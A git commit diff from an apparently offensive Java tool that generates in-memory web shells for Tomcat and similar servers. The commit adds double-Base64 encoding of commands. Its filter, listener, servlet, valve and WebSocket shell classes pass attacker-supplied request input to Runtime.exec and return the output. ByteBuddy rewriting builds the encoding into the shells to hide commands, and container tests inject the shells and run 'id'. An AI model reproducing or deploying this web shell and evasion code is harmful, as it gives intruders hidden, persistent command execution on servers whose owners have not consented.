feat: support command encryptor

This commit is contained in:
ReaJason
2025-05-14 00:34:32 +08:00
parent 761de0af90
commit 565d05340e
26 changed files with 456 additions and 187 deletions
@@ -3,8 +3,10 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.server.AbstractShell;
import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
@@ -58,4 +60,9 @@ public class ConfigController {
} }
return coreMap; return coreMap;
} }
@GetMapping("/command/encryptors")
public List<CommandConfig.Encryptor> getCommandEncryptors() {
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
}
} }
@@ -28,6 +28,7 @@ public class GenerateRequest {
private String headerName; private String headerName;
private String headerValue; private String headerValue;
private String shellClassBase64; private String shellClassBase64;
private String encryptor;
} }
public ShellToolConfig parseShellToolConfig() { public ShellToolConfig parseShellToolConfig() {
@@ -48,6 +49,7 @@ public class GenerateRequest {
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) .paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.build(); .build();
case Suo5 -> Suo5Config.builder() case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*; import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.utils.CommonUtil;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
@@ -16,4 +16,18 @@ import lombok.experimental.SuperBuilder;
public class CommandConfig extends ShellToolConfig { public class CommandConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String paramName = CommonUtil.getRandomString(8); private String paramName = CommonUtil.getRandomString(8);
@Builder.Default
private Encryptor encryptor = Encryptor.RAW;
public enum Encryptor {
RAW, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64;
}
return RAW;
}
}
} }
@@ -1,72 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandGenerator {
private final ShellConfig shellConfig;
private final CommandConfig commandConfig;
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
this.shellConfig = shellConfig;
this.commandConfig = commandConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (commandConfig.getShellClass() == null) {
throw new IllegalArgumentException("commandConfig.getClazz() == null");
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandConfig.getShellClass())
.name(commandConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
String shellType = shellConfig.getShellType();
if (!ShellType.WEBSOCKET.equals(shellType)) {
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
put("paramName", commandConfig.getParamName());
}})
);
} else {
builder = builder.field(named("paramName")).value(commandConfig.getParamName());
}
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -0,0 +1,92 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.*;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import org.apache.commons.lang3.StringUtils;
import java.util.Collections;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandGenerator {
private final ShellConfig shellConfig;
private final CommandConfig commandConfig;
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
this.shellConfig = shellConfig;
this.commandConfig = commandConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (commandConfig.getShellClass() == null) {
throw new IllegalArgumentException("commandConfig.getClazz() == null");
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandConfig.getShellClass())
.name(commandConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
String shellType = shellConfig.getShellType();
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
put("paramName", commandConfig.getParamName());
}})
);
} else if (!ShellType.WEBSOCKET.equals(shellType)) {
builder = builder.field(named("paramName"))
.value(commandConfig.getParamName());
}
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
builder = builder
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getParam"),
new MethodCallReplaceVisitorWrapper(
commandConfig.getShellClassName(),
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(String.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
/**
* @author ReaJason
* @since 2025/4/27
*/
public class DoubleBase64ParamInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
}
}
@@ -74,7 +74,7 @@ public class ShellCommonUtil {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
return value == null ? "" : new String(value); return value == null ? null : new String(value);
} }
public static class Base64DecodeToStringInterceptor { public static class Base64DecodeToStringInterceptor {
@@ -96,7 +96,7 @@ public class ShellCommonUtil {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
returnValue = value == null ? "" : new String(value); returnValue = value == null ? null : new String(value);
} }
} }
} }
@@ -1,13 +1,16 @@
package com.reajason.javaweb.memshell.tomcat.command; package com.reajason.javaweb.memshell.tomcat.command;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.*;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.CommandGenerator; import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandListener; import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.util.ClassUtils; import com.reajason.javaweb.util.ClassUtils;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
@@ -36,15 +39,37 @@ class CommandFilterTest {
@MethodSource("casesProvider") @MethodSource("casesProvider")
void generate(String shellType, Class<?> clazz, String className) { void generate(String shellType, Class<?> clazz, String className) {
ShellConfig generateConfig = new ShellConfig(); ShellConfig generateConfig = new ShellConfig();
CommandConfig shellConfig = CommandConfig.builder() CommandConfig commandConfig = CommandConfig.builder()
.shellClass(clazz) .shellClass(clazz)
.shellClassName(className) .shellClassName(className)
.paramName("cmd") .paramName("cmd")
.build(); .build();
generateConfig.setShellType(shellType); generateConfig.setShellType(shellType);
byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes(); byte[] bytes = new CommandGenerator(generateConfig, commandConfig).getBytes();
Object obj = ClassUtils.newInstance(bytes); Object obj = ClassUtils.newInstance(bytes);
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName()); assertEquals(commandConfig.getShellClassName(), obj.getClass().getName());
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName")); assertEquals(commandConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
}
@Test
void testGenerator() throws Exception {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellType(ShellType.FILTER)
.shellTool(ShellTool.Command)
.build();
CommandConfig commandConfig = CommandConfig.builder()
.shellClass(CommandFilter.class)
.shellClassName("org.apache.utils.CommandFilter")
.paramName("cmd")
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
.build();
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
// Files.write(Paths.get("hehe.class"), generate.getShellBytes());
String pack = Packers.ScriptEngine.getInstance().pack(generate);
System.out.println(pack);
} }
} }
@@ -20,6 +20,7 @@ import org.testcontainers.containers.GenericContainer;
import org.testcontainers.shaded.org.apache.commons.io.FileUtils; import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils; import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils; import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils;
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
import org.testcontainers.utility.MountableFile; import org.testcontainers.utility.MountableFile;
import java.io.IOException; import java.io.IOException;
@@ -53,9 +54,8 @@ public class ShellAssertionTool {
} }
@SneakyThrows @SneakyThrows
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) { public static Pair<String, String> getUrls(String url, String shellType, ShellTool shellTool, Packers packer) {
String shellUrl = url + "/test"; String shellUrl = url + "/test";
String urlPattern = null; String urlPattern = null;
if (shellType.endsWith(ShellType.SERVLET) if (shellType.endsWith(ShellType.SERVLET)
|| shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER) || shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER)
@@ -71,9 +71,26 @@ public class ShellAssertionTool {
URL url1 = new URL(url); URL url1 = new URL(url);
shellUrl = "ws://" + url1.getHost() + ":" + url1.getPort() + url1.getPath() + urlPattern; shellUrl = "ws://" + url1.getHost() + ":" + url1.getPort() + url1.getPath() + urlPattern;
} }
return Pair.of(shellUrl, urlPattern);
}
GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer); @SneakyThrows
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
assertShellIsOk(generateResult, shellUrl, shellTool, shellType, appContainer, pythonContainer);
}
@SneakyThrows
public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
String content = null; String content = null;
if (packer.getInstance() instanceof JarPacker) { if (packer.getInstance() instanceof JarPacker) {
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult); byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
@@ -96,16 +113,19 @@ public class ShellAssertionTool {
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer); assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
log.info("send inject payload successfully"); log.info("send inject payload successfully");
} }
}
@SneakyThrows
public static void assertShellIsOk(GenerateResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
switch (shellTool) { switch (shellTool) {
case Godzilla: case Godzilla:
testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
break; break;
case Command: case Command:
if (shellType.endsWith(ShellType.WEBSOCKET)) { if (shellType.endsWith(ShellType.WEBSOCKET)) {
testWebSocketCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig())); testWebSocketCommandIsOk(shellUrl, "id");
} else { } else {
testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig())); testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id");
} }
break; break;
case Behinder: case Behinder:
@@ -144,11 +164,11 @@ public class ShellAssertionTool {
} }
@SneakyThrows @SneakyThrows
public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig) { public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig, String payload) {
OkHttpClient okHttpClient = new OkHttpClient(); OkHttpClient okHttpClient = new OkHttpClient();
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
.newBuilder() .newBuilder()
.addQueryParameter(shellConfig.getParamName(), "id") .addQueryParameter(shellConfig.getParamName(), payload)
.build(); .build();
Request request = new Request.Builder() Request request = new Request.Builder()
.url(url) .url(url)
@@ -161,7 +181,8 @@ public class ShellAssertionTool {
} }
} }
public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception { @SneakyThrows
public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
final CountDownLatch latch = new CountDownLatch(1); final CountDownLatch latch = new CountDownLatch(1);
final String[] responseHolder = new String[1]; final String[] responseHolder = new String[1];
final long timeout = 5; final long timeout = 5;
@@ -169,7 +190,7 @@ public class ShellAssertionTool {
WebSocketClient client = new WebSocketClient(new URI(entrypoint)) { WebSocketClient client = new WebSocketClient(new URI(entrypoint)) {
@Override @Override
public void onOpen(ServerHandshake data) { public void onOpen(ServerHandshake data) {
send("id"); send(payload);
} }
@Override @Override
@@ -220,22 +241,7 @@ public class ShellAssertionTool {
assertTrue(antSwordManager.getInfo().contains("ok")); assertTrue(antSwordManager.getInfo().contains("ok"));
} }
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { public static ShellToolConfig getShellToolConfig(String shellType, ShellTool shellTool, Packers packer) {
InjectorConfig injectorConfig = new InjectorConfig();
if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern);
}
ShellConfig shellConfig = ShellConfig.builder()
.server(server)
.shellTool(shellTool)
.shellType(shellType)
.targetJreVersion(targetJdkVersion)
.byPassJavaModule(targetJdkVersion >= Opcodes.V9)
.debug(true)
.shrink(true)
.build();
ShellToolConfig shellToolConfig = null; ShellToolConfig shellToolConfig = null;
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
switch (shellTool) { switch (shellTool) {
@@ -287,6 +293,24 @@ public class ShellAssertionTool {
log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName); log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName);
break; break;
} }
return shellToolConfig;
}
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
InjectorConfig injectorConfig = new InjectorConfig();
if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern);
}
ShellConfig shellConfig = ShellConfig.builder()
.server(server)
.shellTool(shellTool)
.shellType(shellType)
.targetJreVersion(targetJdkVersion)
.byPassJavaModule(targetJdkVersion >= Opcodes.V9)
.debug(true)
.shrink(true)
.build();
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
} }
@@ -0,0 +1,91 @@
package com.reajason.javaweb.integration.tomcat;
import com.reajason.javaweb.integration.ShellAssertionTool;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
import java.util.Base64;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2025/4/28
*/
@Testcontainers
@Slf4j
public class Tomcat8CommandEncryptorContainerTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
String url = getUrl(container);
Pair<String, String> urls = ShellAssertionTool.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
ShellToolConfig shellToolConfig = CommandConfig.builder()
.paramName(uniqueName)
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
.build();
GenerateResult generateResult = ShellAssertionTool.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig);
ShellAssertionTool.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
String payload = Base64.getEncoder().encodeToString(Base64.getEncoder().encode("id".getBytes()));
if (shellType.endsWith(ShellType.WEBSOCKET)) {
ShellAssertionTool.testWebSocketCommandIsOk(shellUrl, payload);
} else {
ShellAssertionTool.testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload);
}
}
}
@@ -1,12 +1,12 @@
package com.reajason.javaweb.util; package com.reajason.javaweb.util;
import java.util.Base64;;
import org.junit.jupiter.api.Disabled; import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import java.io.IOException; import java.io.IOException;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.Base64;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,11 +18,15 @@ public class CommandFilter implements Filter {
} }
public String getParam(String param) {
return param;
}
@Override @Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response; HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getParameter(paramName); String cmd = getParam(servletRequest.getParameter(paramName));
if (cmd != null) { if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd); Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream(); InputStream inputStream = exec.getInputStream();
@@ -21,11 +21,15 @@ public class CommandListener implements ServletRequestListener {
} }
public String getParam(String param) {
return param;
}
@Override @Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) { public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try { try {
String cmd = request.getParameter(paramName); String cmd = getParam(request.getParameter(paramName));
if (cmd != null) { if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request); HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd); Process exec = Runtime.getRuntime().exec(cmd);
@@ -20,9 +20,13 @@ public class CommandServlet extends HttpServlet {
doPost(req, resp); doPost(req, resp);
} }
public String getParam(String param) {
return param;
}
@Override @Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter(paramName); String cmd = getParam(request.getParameter(paramName));
if (cmd != null) { if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd); Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream(); InputStream inputStream = exec.getInputStream();
@@ -39,9 +39,13 @@ public class CommandValve implements Valve {
public void backgroundProcess() { public void backgroundProcess() {
} }
public String getParam(String param) {
return param;
}
@Override @Override
public void invoke(Request request, Response response) throws IOException, ServletException { public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter(paramName); String cmd = getParam(request.getParameter(paramName));
if (cmd != null) { if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd); Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream(); InputStream inputStream = exec.getInputStream();
@@ -4,6 +4,7 @@ import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig; import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler; import javax.websocket.MessageHandler;
import javax.websocket.Session; import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream; import java.io.InputStream;
/** /**
@@ -16,25 +17,22 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
private Session session; private Session session;
private String getParam(String param) {
return param;
}
@Override @Override
public void onMessage(String s) { public void onMessage(String s) {
try { try {
Process process; Process exec = Runtime.getRuntime().exec(getParam(s));
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); InputStream inputStream = exec.getInputStream();
if (bool) { byte[] buf = new byte[8192];
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); int length;
} else { ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
} }
InputStream inputStream = process.getInputStream(); session.getBasicRemote().sendText(outputStream.toString());
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1) {
stringBuilder.append((char) i);
}
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
BIN
View File
Binary file not shown.
+45 -45
View File
@@ -15,73 +15,73 @@
}, },
"devDependencies": { "devDependencies": {
"@biomejs/biome": "1.9.4", "@biomejs/biome": "1.9.4",
"@types/node": "^22.14.0", "@types/node": "^22.15.2",
"@types/react": "^19.1.0", "@types/react": "^19.1.2",
"@types/react-copy-to-clipboard": "^5.0.7", "@types/react-copy-to-clipboard": "^5.0.7",
"@types/react-dom": "^19.1.1", "@types/react-dom": "^19.1.2",
"@types/react-syntax-highlighter": "^15.5.13", "@types/react-syntax-highlighter": "^15.5.13",
"@vitejs/plugin-react": "^4.3.4", "@vitejs/plugin-react": "^4.4.1",
"rimraf": "^6.0.1", "rimraf": "^6.0.1",
"tailwindcss": "^4.1.3", "tailwindcss": "^4.1.4",
"typescript": "^5.8.3", "typescript": "^5.8.3",
"vite": "^6.2.5", "vite": "^6.3.3",
"vite-bundle-visualizer": "^1.2.1" "vite-bundle-visualizer": "^1.2.1"
}, },
"dependencies": { "dependencies": {
"@hookform/resolvers": "^5.0.1", "@hookform/resolvers": "^5.0.1",
"@radix-ui/react-accordion": "^1.2.3", "@radix-ui/react-accordion": "^1.2.8",
"@radix-ui/react-alert-dialog": "^1.1.6", "@radix-ui/react-alert-dialog": "^1.1.11",
"@radix-ui/react-aspect-ratio": "^1.1.2", "@radix-ui/react-aspect-ratio": "^1.1.4",
"@radix-ui/react-avatar": "^1.1.3", "@radix-ui/react-avatar": "^1.1.7",
"@radix-ui/react-checkbox": "^1.1.4", "@radix-ui/react-checkbox": "^1.2.3",
"@radix-ui/react-collapsible": "^1.1.3", "@radix-ui/react-collapsible": "^1.1.8",
"@radix-ui/react-context-menu": "^2.2.6", "@radix-ui/react-context-menu": "^2.2.12",
"@radix-ui/react-dialog": "^1.1.6", "@radix-ui/react-dialog": "^1.1.11",
"@radix-ui/react-dropdown-menu": "^2.1.6", "@radix-ui/react-dropdown-menu": "^2.1.12",
"@radix-ui/react-hover-card": "^1.1.6", "@radix-ui/react-hover-card": "^1.1.11",
"@radix-ui/react-label": "^2.1.2", "@radix-ui/react-label": "^2.1.4",
"@radix-ui/react-menubar": "^1.1.6", "@radix-ui/react-menubar": "^1.1.12",
"@radix-ui/react-navigation-menu": "^1.2.5", "@radix-ui/react-navigation-menu": "^1.2.10",
"@radix-ui/react-popover": "^1.1.6", "@radix-ui/react-popover": "^1.1.11",
